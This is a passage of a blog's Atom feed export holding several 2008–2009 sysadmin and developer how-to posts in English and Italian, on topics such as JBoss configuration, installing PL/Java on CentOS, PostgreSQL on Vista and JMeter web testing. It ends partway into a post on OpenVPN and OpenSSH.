href='http://www.blogger.com/feeds/8062061358881596054/posts/default/6847596644099603104'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/6847596644099603104'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2009/02/jboss-and-multiple-environments.html' title='JBoss and multiple environments'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-2356549741602496252</id><published>2009-01-23T12:47:00.000Z</published><updated>2009-02-03T11:57:43.603Z</updated><title type='text'>Dreamweaver CS3 on Crossover Linux Pro 7.1.0 [NOT WORKING]</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Install your licensed Dreamweaver CS3 into a Windows XP host (you can use a virtualized machine for this) and run it at least once (to correctly register the product and verify the serial code), then prepare to move some files and registry keys from your Windows XP installation to your Linux box:&lt;br/&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;&lt;font face='monospace'&gt;C:\Program Files\Adobe&lt;/font&gt;&lt;/b&gt; must go into &lt;b&gt;&lt;font face='monospace'&gt;~/.cxoffice/your-bottle/drive_c/Program Files/&lt;/font&gt;&lt;/b&gt;&lt;br/&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;&lt;font face='monospace'&gt;C:\Program Files\Common Files\Adobe&lt;/font&gt;&lt;/b&gt; must go into &lt;b&gt;&lt;font face='monospace'&gt;~/.cxoffice/your-bottle/drive_c/Program Files/Common Files/&lt;/font&gt;&lt;/b&gt;&lt;br/&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;&lt;font face='monospace'&gt;C:\Windows\Macromed&lt;/font&gt;&lt;/b&gt; must go into &lt;b&gt;&lt;font face='monospace'&gt;~/.cxoffice/your-bottle/drive_c/Windows/&lt;/font&gt;&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;&lt;font face='monospace'&gt;C:\Windows\WinSxs&lt;/font&gt;&lt;/b&gt; must go into &lt;b&gt;&lt;font face='monospace'&gt;~/.cxoffice/your-bottle/drive_c/Windows/&lt;/font&gt;&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Now you have to export your &lt;span class='postbody'&gt;entire &lt;b&gt;&lt;font face='monospace'&gt;HKEY_LOCAL_MACHINE/Software/Macromedia/&lt;/font&gt;&lt;/b&gt; registry key to a file and copy it into your Linux box. Now you have to run &lt;/span&gt;&lt;b&gt;&lt;font face='monospace'&gt;recode ucs-2..ascii exported.reg&lt;/font&gt;&lt;/b&gt; and import the recoded registry file into your-bottle registry.&lt;br/&gt;&lt;br/&gt;You should now be able to run your Dreamweaver CS3 issuing the following command on the command line:&lt;br/&gt;&lt;b&gt;&lt;font face='monospace'&gt;/opt/cxoffice/bin/wine --bottle your-bottle ~/.cxoffice/your-bottle/drive_c/Program Files/Adobe/Adobe Dreamweaver CS3/Dreamweaver.exe&lt;/font&gt;&lt;/b&gt;&lt;br/&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-2356549741602496252?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/2356549741602496252/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=2356549741602496252&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/2356549741602496252'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/2356549741602496252'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2009/01/dreamweaver-cs3-on-crossover-linux-pro.html' title='Dreamweaver CS3 on Crossover Linux Pro 7.1.0 [NOT WORKING]'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-2068013461886743707</id><published>2009-01-22T13:40:00.001Z</published><updated>2009-01-22T13:40:06.113Z</updated><title type='text'>Dual boot: AUTOCHK program not found</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Today I faced a strange behavior while booting in my Windows Vista partition having a black screen showing the message "AUTOCHK program not found" followed by a BSOD and a quick reboot.&lt;br/&gt;&lt;br/&gt;The problem was not resolved by a common &lt;b&gt;&lt;font face='monospace'&gt;bootrec /fixmbr&lt;/font&gt;&lt;/b&gt; command issued on the Vista Recovery Console and I could not solve it using grub too (btw, my system is in dual boot with Ubuntu Intrepid Ibex).&lt;br/&gt;&lt;br/&gt;After googling a little bit I've found some instructions suggesting to unhide the Vista partition, but suddenly I discovered my Vista partition was not hidden, instead it's partition type was unknow!!!&lt;br/&gt;&lt;br/&gt;The output of &lt;b&gt;&lt;font face='monospace'&gt;sudo fdisk -l&lt;/font&gt;&lt;/b&gt; infact was reporting a type unknow for my /dev/sda2 (my Vista partition), consequently I opened up the Gnome Partition Editor, selected my Vista Partition and changed the partition flags adding the hidden flag, suddenly the fdisk output changed reporting an &lt;font face='monospace'&gt;Hidden HPFS/NTFS&lt;/font&gt; partition. Reopening the Gnome Partition Editor and removing the hidden flag restored my partition type to &lt;b&gt;&lt;font face='monospace'&gt;7 HPFS/NTFS&lt;/font&gt;&lt;/b&gt;&lt;font face='sans-serif'&gt;.&lt;/font&gt;&lt;br/&gt;&lt;br/&gt;For sake of completness my partition and mbr mangling was due to my attempt to configure my Dell XPS M1330 power on buttons as this notebook has two of them: one to boot into the system and a second one to boot into Windows Media Direct. My attempt was to use the normal power up button to boot into Ubuntu and the second one to boot into Vista. More on the topic will follow if I'll resolve the boot problems ;)&lt;br/&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-2068013461886743707?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/2068013461886743707/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=2068013461886743707&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/2068013461886743707'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/2068013461886743707'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2009/01/dual-boot-autochk-program-not-found.html' title='Dual boot: AUTOCHK program not found'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-2441122284468273384</id><published>2009-01-15T15:19:00.001Z</published><updated>2009-01-15T15:19:39.134Z</updated><title type='text'>GNU/Linux and FAT32</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;I've found an interesting &lt;a href='http://skillfulness.blogspot.com/2008/11/working-with-fat32-in-ubuntu-linux.html'&gt;post&lt;/a&gt; about FAT32 filesystem handling under Ubuntu GNU/Linux...&lt;br/&gt;&lt;br/&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-2441122284468273384?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/2441122284468273384/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=2441122284468273384&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/2441122284468273384'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/2441122284468273384'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2009/01/gnulinux-and-fat32.html' title='GNU/Linux and FAT32'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-2513186234711994608</id><published>2008-08-18T17:45:00.001+01:00</published><updated>2009-02-03T15:54:55.788Z</updated><title type='text'>JBoss AOP Made Easy (Included Eclipse WTP)</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;First of all the documentation is correct, but it's hard to find out the correct steps to follow, so I'll give here a few quick steps valid in case of JBoss 4.x and Java 5 or Java 6.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;delete &lt;font face='monospace'&gt;server/&lt;b&gt;default&lt;/b&gt;/deploy/jboss-aop-jdk50.deployer&lt;/font&gt; and replace it with &lt;font face='monospace'&gt;jboss-40-install/jboss-aop-jdk50.deployer&lt;/font&gt;&lt;/li&gt;&lt;li&gt;move into the new folder and delete common-softvaluehashmap.jar &lt;br /&gt;(already available) and move&lt;font face='monospace'&gt; javassist.jar&lt;/font&gt; to &lt;font face='monospace'&gt;../../lib/javassist.jar&lt;/font&gt; (to replace the jboss providen library)&lt;/li&gt;&lt;li&gt;edit &lt;font face='monospace'&gt;server/&lt;b&gt;default&lt;/b&gt;/deploy/jboss-aop-jdk50.deployer/META-INF/jboss-service.xml&lt;/font&gt; and set the &lt;font face='monospace'&gt;EnableLoadtimeWeaving&lt;/font&gt; parameter to &lt;i&gt;&lt;font face='sans-serif'&gt;true&lt;/font&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;font face='sans-serif'&gt;edit the run.bat or run.sh script and add the java option &lt;font face='Courier New'&gt;-javaagent:$JBOSS_HOME/bin/pluggable-instrumentor.jar&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;/ul&gt;Now you can start JBoss from command line, but not from Eclipse as it still misses some parameters: just open the Servers view, double click on your JBoss server and in the editor window click on the &lt;i&gt;Open launch configuration&lt;/i&gt; link now you have select the &lt;i&gt;Arguments&lt;/i&gt; tab and to append the &lt;font face='Courier New'&gt;-javaagent:pluggable-instrumentor.jar&lt;font face='sans-serif'&gt; directive on the list&lt;/font&gt;&lt;/font&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-2513186234711994608?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/2513186234711994608/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=2513186234711994608&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/2513186234711994608'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/2513186234711994608'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2008/08/jboss-aop-made-easy-included-eclipse.html' title='JBoss AOP Made Easy (Included Eclipse WTP)'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-7690587112761262959</id><published>2008-08-11T11:43:00.002+01:00</published><updated>2010-08-29T12:13:49.557+01:00</updated><title type='text'>Eclipse Plugins</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;Eclipse is my preferred IDE and here follows a list of plugins I commonly use:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Resource Bundle Editor (http://sourceforge.net/projects/eclipse-rbe/)&lt;/li&gt;&lt;li&gt;Log4E (http://log4e.jayefem.de/)&lt;/li&gt;&lt;li&gt;Maven Integration (http://m2eclipse.codehaus.org/)&lt;/li&gt;&lt;li&gt;Subclipse (http://subclipse.tigris.org/)&lt;/li&gt;&lt;li&gt;Wicked Shell (http://www.wickedshell.net/)&lt;/li&gt;&lt;li&gt;QuickREx (http://www.bastian-bergerhoff.com/eclipse/features)&lt;/li&gt;&lt;li&gt;FindBugs (http://findbugs.cs.umd.edu/eclipse)&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-7690587112761262959?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/7690587112761262959/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=7690587112761262959&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/7690587112761262959'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/7690587112761262959'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2008/08/eclipse-plugins.html' title='Eclipse Plugins'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-2738237808830995954</id><published>2008-08-09T01:55:00.003+01:00</published><updated>2008-08-09T01:55:39.092+01:00</updated><title type='text'>PostgreSQL on Windows Vista</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Today I experienced a strange behavior of that strange operating system called Windows Vista Premium Edition: I wasn't able to correctly install PostgreSQL 8.2 nor 8.3&lt;br/&gt;&lt;br/&gt;At a first look the installation process was ending correctly but whenever I try to start the service or the stand alone server nothing happens. When I tried to start the server from the command line I got something was missing from the installation folder... the entire &lt;b&gt;data&lt;/b&gt; subfolder was missing!&lt;br/&gt;&lt;br/&gt;After trying without success many installation options I tried to digg into the problem and what I've found is very strange: I don't have the permissions to create that folder!&lt;br/&gt;&lt;br/&gt;The strange thing is I had the permission to create the parent installation folder, all the sibling folders containing binaries, extensions and clients... but not the data folder!&lt;br/&gt;&lt;br/&gt;I got the short way: I created the data folder, added myself as a user having all rights on the folder then I runned &lt;i&gt;bin\initdb.exe -D data&lt;/i&gt; et voilà... the database is ready and working.&lt;br/&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-2738237808830995954?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/2738237808830995954/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=2738237808830995954&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/2738237808830995954'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/2738237808830995954'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2008/08/postgresql-on-windows-vista.html' title='PostgreSQL on Windows Vista'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-2777035835396064629</id><published>2008-03-31T20:27:00.001+01:00</published><updated>2008-03-31T20:27:44.816+01:00</updated><title type='text'>Test e profiling di applicazioni web</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Testare e profilare applicazioni web è una attività davvero semplice, infatti sono disponibili molti strumenti, alcuni dei quali anche open source, per svolgere questo compito.&lt;br/&gt;&lt;br/&gt;La procedura da seguire varia in funzione del tipo di attività che si vuole eseguire e che individuamo in quattro tipologie:&lt;br/&gt;&lt;ol&gt;&lt;li&gt;test funzionali, utili per verificare che l'applicazione risponda ai requisiti&lt;br/&gt;&lt;/li&gt;&lt;li&gt;test di non regressione, utili per evitare di introdurre errori durante la manutenzione evolutiva&lt;br/&gt;&lt;/li&gt;&lt;li&gt;test di performance, o stress test, per individuare i limiti imposti dall'accoppiata hardware e software&lt;br/&gt;&lt;/li&gt;&lt;li&gt;profilatura per l'individuazione di colli di bottiglia e di punti di memory leak&lt;/li&gt;&lt;/ol&gt;In tutti i casi il tool che suggerisco di utilizzare è &lt;a href='http://jakarta.apache.org/jmeter/'&gt;Jakarta JMeter&lt;/a&gt;, un tool open source realizzato in Java, e quindi utilizzabile su qualunque piattaforma, dotato di comoda interfaccia utente grafica per la realizzazione, manipolazione e verifica dei test.&lt;br/&gt;&lt;br/&gt;Se l'applicazione che vogliamo sottoporre a test esiste già o ha una interfaccia utente già definita mediante un prototipo statico, l'attività di creazione del test è davvero banale:&lt;br/&gt;&lt;ol&gt;&lt;li&gt;si lancia JMeter e si crea nel &lt;a href='http://jakarta.apache.org/jmeter/usermanual/component_reference.html#WorkBench'&gt;Workbench &lt;/a&gt;un elemento di tipo &lt;a href='http://jakarta.apache.org/jmeter/usermanual/component_reference.html#HTTP_Proxy_Server'&gt;HTTP Proxy Server&lt;/a&gt; che utilizzeremo per registrare le attività che svolgeremo all'interno del nostro browser&lt;/li&gt;&lt;li&gt;si lancia il browser preferito e si passa alla configurazione dei parametri di rete per fare in modo che utilizzi JMeter (127.0.0.1:8080) come se si trattasse di un server proxy&lt;/li&gt;&lt;li&gt;si attiva, non necessariamente sulla macchina locale, l'applicazione web che vogliamo sottoporre al test&lt;/li&gt;&lt;li&gt;utilizziamo il nostro web browser per navigare all'interno dell'applicazione avendo cura di eseguire tutte le attività che vogliamo sottoporre al test&lt;/li&gt;&lt;/ol&gt;Alla fine di questi passaggi JMeter avrà registrato tutte le operazione che avremo effettuato e sarà in grado di replicarle tutte le volte che vogliamo.&lt;br/&gt;&lt;br/&gt;Se il nostro obiettivo è quello di creare una suite di test funzionali o di non regressione possiamo istruire JMeter per utilizzare una certa serie di &lt;a href='http://jakarta.apache.org/jmeter/usermanual/component_reference.html#HTTP_Request'&gt;parametri &lt;/a&gt;oppure di &lt;a href='http://jakarta.apache.org/jmeter/usermanual/component_reference.html#assertions'&gt;verificare &lt;/a&gt;mediante regular expression che l'output restituito contenga una determinata stringa.&lt;br/&gt;&lt;br/&gt;Se il nostro obiettivo è quello di effettuare un test prestazionale o una profilatura allora dovremo chiedere a JMeter di eseguire il test in &lt;a href='http://jakarta.apache.org/jmeter/usermanual/component_reference.html#Thread_Group'&gt;multiutenza &lt;/a&gt;ovvero come se si molti computer si connettessero contemporaneamente all'applicazione oltre che di raccogliere le informazioni &lt;a href='http://jakarta.apache.org/jmeter/usermanual/component_reference.html#View_Results_in_Table'&gt;statistiche&lt;/a&gt; di cui abbiamo bisogno.&lt;br/&gt;&lt;br/&gt;Gli accorgimenti che suggerisco di seguire sono i seguenti:&lt;br/&gt;&lt;ul&gt;&lt;li&gt;raccogliere sempre in un unico punto i &lt;a href='http://jakarta.apache.org/jmeter/usermanual/component_reference.html#HTTP_Request_Defaults'&gt;parametri relativi al server&lt;/a&gt; che si va a testare, così da non dover modificare tutta la suite di test nel caso si dovesse ripetere il test sulla stessa applicazione deployata su un altra macchina&lt;/li&gt;&lt;li&gt;attivare la gestione della sessione &lt;a href='http://jakarta.apache.org/jmeter/usermanual/component_reference.html#HTTP_Cookie_Manager'&gt;attraverso cookies&lt;/a&gt; o attraverso &lt;a href='http://jakarta.apache.org/jmeter/usermanual/component_reference.html#HTTP_URL_Re-writing_Modifier'&gt;url rewriting&lt;/a&gt;&lt;/li&gt;&lt;li&gt;definire sempre un &lt;a href='http://jakarta.apache.org/jmeter/usermanual/component_reference.html#View_Results_Tree'&gt;listener&lt;/a&gt; per verificare le attività svolte dal tool&lt;/li&gt;&lt;li&gt;inserire un eventuale processo di autenticazione (login) in un &lt;a href='http://jakarta.apache.org/jmeter/usermanual/component_reference.html#Once_Only_Controller'&gt;controller&lt;/a&gt; che lo esegua solo la prima volta&lt;/li&gt;&lt;li&gt;definire eventuali liste di parametri comuni a più richieste all'interno dell'apposito &lt;a href='http://jakarta.apache.org/jmeter/usermanual/component_reference.html#User_Defined_Variables'&gt;elemento&lt;/a&gt; di configurazione&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-2777035835396064629?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/2777035835396064629/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=2777035835396064629&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/2777035835396064629'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/2777035835396064629'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2008/03/test-e-profiling-di-applicazioni-web.html' title='Test e profiling di applicazioni web'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-6592247930695963432</id><published>2008-03-25T21:01:00.002Z</published><updated>2010-09-01T08:32:16.877+01:00</updated><title type='text'>PL/Java on CentOS 5</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;Installare la libreria PL/Java su CentOS 5 è stata una dura battaglia.&lt;br /&gt;Ovviamente abbiamo bisogno un Java Runtime per poter utilizzare questa&lt;br /&gt;estensione, in questo caso io ho usato una JDK Sun 1.6.0 update 5 installato attraverso JPackage.&lt;br /&gt;&lt;br /&gt;Per questa operazione ho prima scaricato il JDK dal sito della Sun (la versione RPM in self extracting) che ho eseguito e poi ho rimosso i package installati, poi&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-family:Courier New;"&gt;$ yum install jpackage-utils&lt;br /&gt;$ wget &lt;a class="http" href="http://mirrors.dotsrc.org/jpackage/1.7/generic/non-free/RPMS/java-1.6.0-sun-compat-1.6.0.01-1jpp.i586.rpm"&gt;http://mirrors.dotsrc.org/jpackage/1.7/generic/non-free/RPMS/java-1.6.0-sun-compat-1.6.0.05-1jpp.i586.rpm&lt;/a&gt;&lt;br /&gt;$ rpm -Uvh jdk-6u5-linux-i586.rpm java-1.6.0-sun-compat-1.6.0.05-1jpp.i586.rpm&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;Innanzitutto è stato necessario aggiornare la versione di PostgreSQL dalla 8.1.11 (ultima versione disponibile sul repository di CentOS) alla 8.3.1 utilizzando un repository non ufficiale.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-family:Courier New;"&gt;$ wget http://yum.pgsqlrpms.org/reporpms/8.3/pgdg-centos-8.3-2.noarch.rpm&lt;br /&gt;$ rpm -Uvh http://yum.pgsqlrpms.org/reporpms/8.3/pgdg-centos-8.3-2.noarch.rpm&lt;br /&gt;$ yum update&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;A questo punto è possibile installare la versione 1.4.0 di pljava per postgres 8.3&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-family:Courier New;"&gt;$ wget http://pgfoundry.org/frs/download.php/1598/pljava-i686-pc-linux-gnu-pg8.3-1.4.0.tar.gz&lt;br /&gt;$ tar -zxvf pljava-i686-pc-linux-gnu-pg8.3-1.4.0.tar.gz&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Spostiamo i file appena decompressi nelle locazioni più consone sotto CentOS&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-family:Courier New;"&gt;$ mv pljava.so /usr/lib/pgsql&lt;br /&gt;$ mv pljava.jar /usr/share/java/&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Adesso dobbiamo rendere visibili le librerie &lt;span style="font-family:Courier New;"&gt;libjvm.so&lt;/span&gt; e poi installare il linguaggio in PostgreSQL&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-family:Courier New;"&gt;$ ldconfig&lt;br /&gt;$ psql -U postgres template1 &amp;lt; install&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Dove ovviamente install è il file che troviamo nella cartella decompressa di pljava!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-6592247930695963432?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/6592247930695963432/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=6592247930695963432&amp;isPopup=true' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/6592247930695963432'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/6592247930695963432'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2008/03/pljava-on-centos-5.html' title='PL/Java on CentOS 5'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-4253107606979847058</id><published>2008-03-19T23:37:00.001Z</published><updated>2008-03-19T23:38:24.659Z</updated><title type='text'>JBoss 4.2.2 fails to start</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;It can seems weird but on Linux you could incur on a strange startup failure with JBoss 4.2.2&lt;br/&gt;&lt;br/&gt;&lt;blockquote&gt;&lt;font face='Courier New'&gt;Caused by: java.lang.RuntimeException: Exception creating identity: hostname&lt;/font&gt;&lt;br/&gt;&lt;/blockquote&gt;&lt;br/&gt;This issue is easily solveable just adding your hostname (the one used at prompt) into your&lt;em&gt; /etc/hosts &lt;/em&gt;file.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-4253107606979847058?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/4253107606979847058/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=4253107606979847058&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/4253107606979847058'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/4253107606979847058'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2008/03/jboss-422-fails-to-start.html' title='JBoss 4.2.2 fails to start'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-7254785800500560223</id><published>2008-03-19T01:10:00.001Z</published><updated>2008-03-19T01:10:22.060Z</updated><title type='text'>OpenVPN &amp; OpenSSH</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Per ottenere un livello di sicurezza decente con OpenVPN è necessario mettere in piedi una piccola PKI con tanto di CA Root Certificate.&lt;br/&gt;&lt;br/&gt;Oggi ho giocherellato un pò con OpenSSH per passare dal metodo di autenticazione basato su password al metodo di autenticazione 